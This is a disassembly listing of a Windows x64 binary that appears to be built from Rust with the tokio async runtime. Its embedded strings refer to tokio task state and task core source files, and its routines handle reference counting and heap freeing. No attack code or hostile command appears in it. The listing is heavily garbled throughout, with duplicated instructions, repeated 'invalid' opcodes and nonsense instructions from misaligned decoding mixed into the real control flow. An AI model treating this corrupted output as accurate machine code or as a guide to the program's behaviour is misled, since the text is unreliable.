lea rcx, [0x140177a0c]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
jmp 0x140068ed9
add byte [rax + 0x63], cl
add al, 0x81
invalid
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
invalid
invalid
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x77], r9b
and byte [rax - 0x77], cl
mov rdx, rsi
call fcn.1400eabe0
bnd call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140069003
add byte [rax], al
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140068ed1.0
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call fcn.140069310
jmp case.0x140068ed1.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140068470
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
and al, 0x38
add byte [rax], al
add byte [rax], al
and al, 0x38
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rax
and al, 0x48
jmp 0x140068f69
mov byte [rsp + 0xa0], 4
lea rdx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov rcx, rdi
call fcn.140068470
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov byte [rsp + 0xa0], 3
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140068470
mov rcx, rsi
call fcn.1400693e0
movaps xmm6, xmmword [rsp + 0xe0]
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
add byte [rax - 0x73], cl
and al, 0x20
add byte [rax - 0x73], cl
and al, 0x20
call fcn.140108280
int3
invalid
mov rcx, rdi
call fcn.140066310
cmp qword [rsp + 0x28], 0
jne 0x1400696fd
jmp 0x140069707
add byte [rax], al
test rax, rax
je 0x1400696ea
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0x38], al
lock dec qword [rdi]
je 0x1400696c0
retf
retf
cmp qword [rsp + 0x28], 0
je 0x140069707
lea rcx, [rsp + 0x28]
call fcn.140035fe0
xor eax, eax
ror byte [rax - 0x7d], 0xc4
xor byte [rbx + 0x5f], bl
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14006979a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400697c5
test al, 4
je 0x140069e05
test al, 3
je case.0x1400656b8.22
cmp rax, 0x3f
jbe 0x140069e1d
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006979a
movzx eax, dl
lea rcx, [0x140177a1c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
cmp byte [rsi + 0xa8], 3
jae 0x140069e35
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rbx + 0x357401f8], al
add byte [rbx + 0x357401f8], al
xorps xmm6, xmm6
test eax, eax
jne 0x140069896
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
lea edx, [0x1400e42d0]
lea edx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xf8], rbx
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
and al, 0x40
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140069600
invalid
dec dword [rbx + 0x118a6b0d]
imul ecx, dword [rdx + 0x48650011], 0xffffff8b
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
invalid
invalid
imul ecx, dword [rdx + 0x48650011], 0xffffff8b
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
invalid
retf 0xb60f
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je 0x1400698f8
test ecx, ecx
jne 0x140069914
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
xor al, 0xca
adc al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
xor al, 0xca
invalid
invalid
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov cl, 6
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
invalid
mov cl, 6
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x118a160d], ecx
add byte [rbp + 0x48], ah
mov rdx, qword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x140069b24
test byte [rax], cl
add al, byte [rax]
invalid
ror byte [rdi], 0x84
or byte [rdx], al
add byte [rax], al
test byte [rax], cl
add al, byte [rax]
add byte [rax - 0x77], cl
mov ecx, esi
mov rcx, rsi
mov ecx, esi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177a2c]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec5d0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x140069e6d
invalid
invalid
add byte [rax - 0x7d], cl
loopne 0x140069924
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
jne case.0x140069935.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
dec dword [rax]
jne 0x140069980
call fcn.1400687d0
mov rcx, rdi
jmp 0x14006999c
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140069998
lea rcx, [rsi + 0x20]
call fcn.1400687d0
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x1400699b7
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rcx], dl
add byte [rcx], dh
sar bh, cl
adc eax, 0xa8996
jmp case.0x140069935.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069a26
xorps xmm6, xmm6
test eax, eax
jne 0x140069a52
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006a550
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069ab9
test eax, eax
jne 0x140069ce2
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a550
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
jmp 0x140069c54
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x140069b65
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x140069b91
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a550
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069bf4
test eax, eax
jne 0x140069d2d
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
ror dword [rax - 0x73], 0x8b
rol byte [rax], 1
add byte [rax], al
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
invalid
scasb al, byte [rdi]
invalid
invalid
adc ebp, dword [rsi - 0x7c39fffa]
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x11871a05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a550
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 0
mov dword [rdi + 0x10], 0
mov dword [rdi + 0x10], 0
mov byte [rsi + 0xa8], 3
mov eax, dword [0x140182314]
mov bl, 0x86
adc dword [rax], eax
mov bl, 0x86
adc dword [rax], eax
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x140069cab
test eax, eax
jne 0x140069cc5
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
invalid
invalid
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14006a670
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140069ad7
xorps xmm6, xmm6
test eax, eax
jne 0x140069b03
invalid
invalid
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
jmp 0x140069ad7
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x140069c12
xorps xmm6, xmm6
test eax, eax
jne 0x140069c3e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
test dword [rcx], edx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
lea rcx, [r14 + 0xd0]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
lodsb al, byte [rsi]
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
jmp 0x140069c12
lodsb al, byte [rsi]
invalid
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140069dd4
xorps xmm6, xmm6
test eax, eax
jne 0x140069a56
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add cl, ch
push rcx
cld
invalid
invalid
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add cl, ch
push rcx
cld
invalid
lea rcx, str.assertion_failed:_next.is_notified__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ddc8]
mov edx, 0x24
call fcn.140108350
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014e128]
mov edx, 0x26
call fcn.140108350
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x60]
call fcn.140108280
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006a0f2
test eax, eax
jne 0x14006a10c
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rdi + 0x120], 1
invalid
add dword [rbx + 0x11821c05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14006a1a3
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14006a17e
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006a13f
lea rcx, [rsi + 0x20]
call fcn.1400687d0
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006a15e
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
add byte [rdx + 0x2b], bh
add byte [rax], al
call fcn.140108350
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014e060]
mov edx, 0x27
call fcn.140108350
int3
and r8b, sil
dec qword [rax]
jne 0x14006a1f7
lea rcx, [rsi + 0x20]
call fcn.1400687d0
invalid
dec dword [rax - 0x73]
xor al, r13b
push rax
add eax, dword [rax]
add byte [rax - 0x75], cl
xchg al, al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rdx + rcx + 0x48], 0x8b
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006a216
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
sbb al, 0x3e
invalid
or eax, 0xe3afa
lea r8, [0x14014e060]
mov edx, 0x27
add al, ch
add esi, ebx
fimul word [rcx]
invalid
add al, ch
add esi, ebx
fimul word [rcx]
invalid
int3
movsb byte [rdi], byte [rsi]
invalid
lea eax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x68], rax
push 0x244c8d48
and byte [rax - 0x77], cl
and al, 0x70
push 0x244c8d48
and byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:
xor eax, 0x8948000e
and al, 0x30
xor eax, 0x8948000e
and al, 0x30
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014ded0]
lea rcx, [rsp + 0x30]
call fcn.140108280
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
adc dword [rsp + 0x48], eax
adc dword [rsp + 0x48], eax
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa8
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14006a98a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006a9b5
test al, 4
je 0x14006afee
test al, 3
je 0x14006a970
cmp rax, 0x3f
jbe 0x14006b006
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006a98a
movzx eax, dl
lea rcx, [0x140177a3c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
cmp byte [rsi + 0xa8], 3
jae 0x14006b01e
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x1400dc119.71
xorps xmm6, xmm6
test eax, eax
jne 0x14006aa86
test byte [rbp - 0x74a58a40], 5
loop 0x14006aaa8
mov eax, dword [0x140182314]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rsp + 0x40]
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.140069600
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x14006aae8
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x367401f9], al
test ecx, ecx
jne 0x14006ab04
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
retf 0x8d49
mov ss, eax
add byte [rax], al
add byte [rax], al
retf 0x8d49
add byte [rax], al
lea rdx, [0x1400e42d0]
mov ebx, eax
call fcn.1400d4a00
mov eax, ebx
mov byte [r14 + 0x120], 1
add byte [rcx], al
add byte [rcx], al
add dword [rbx + 0x1178260d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
invalid
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14006ad0d
test byte [rcx], al
add al, byte [rax]
invalid
test byte [rcx], al
add al, byte [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400e6d10
movzx eax, al
lea rcx, [0x140177a4c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eabe0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
cmp eax, 0x3f
invalid
cmp eax, 0x3f
jbe 0x14006b056
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
cmp eax, 0x40
jne case.0x14006ab25.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006ab69
call fcn.1400396d0
mov rcx, rdi
jmp 0x14006ab85
lea rcx, [rsi + 0x20]
call fcn.1400396d0
lea rcx, [rsi + 0x30]
call fcn.14006a550
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006aba0
invalid
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jbe 0x14006abbb
add byte [rcx], dh
sar bh, cl
adc eax, 0xa77ad
jmp case.0x14006ab25.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
sub byte [rbx + 0x11775205], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006ac0f
xorps xmm6, xmm6
test eax, eax
jne 0x14006ac3b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006a550
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006aca2
test eax, eax
jne 0x14006aecb
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a550
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
jmp 0x14006ae3d
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006ad4e
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006ad7a
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e42d0]
call fcn.1400d4a00
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006a550
mov byte [rsi + 0xa8], 4
mov eax, dword [0x140182314]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
invalid
and byte [rax], 1
add byte [rax], al
invalid
add byte [rbx + 0x357401f8], al
cmp eax, 1
je 0x14006addd
test eax, eax
jne 0x14006af16
mov eax, dword [0x140182314]
pop rsi
jne case.0x140051867.62
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
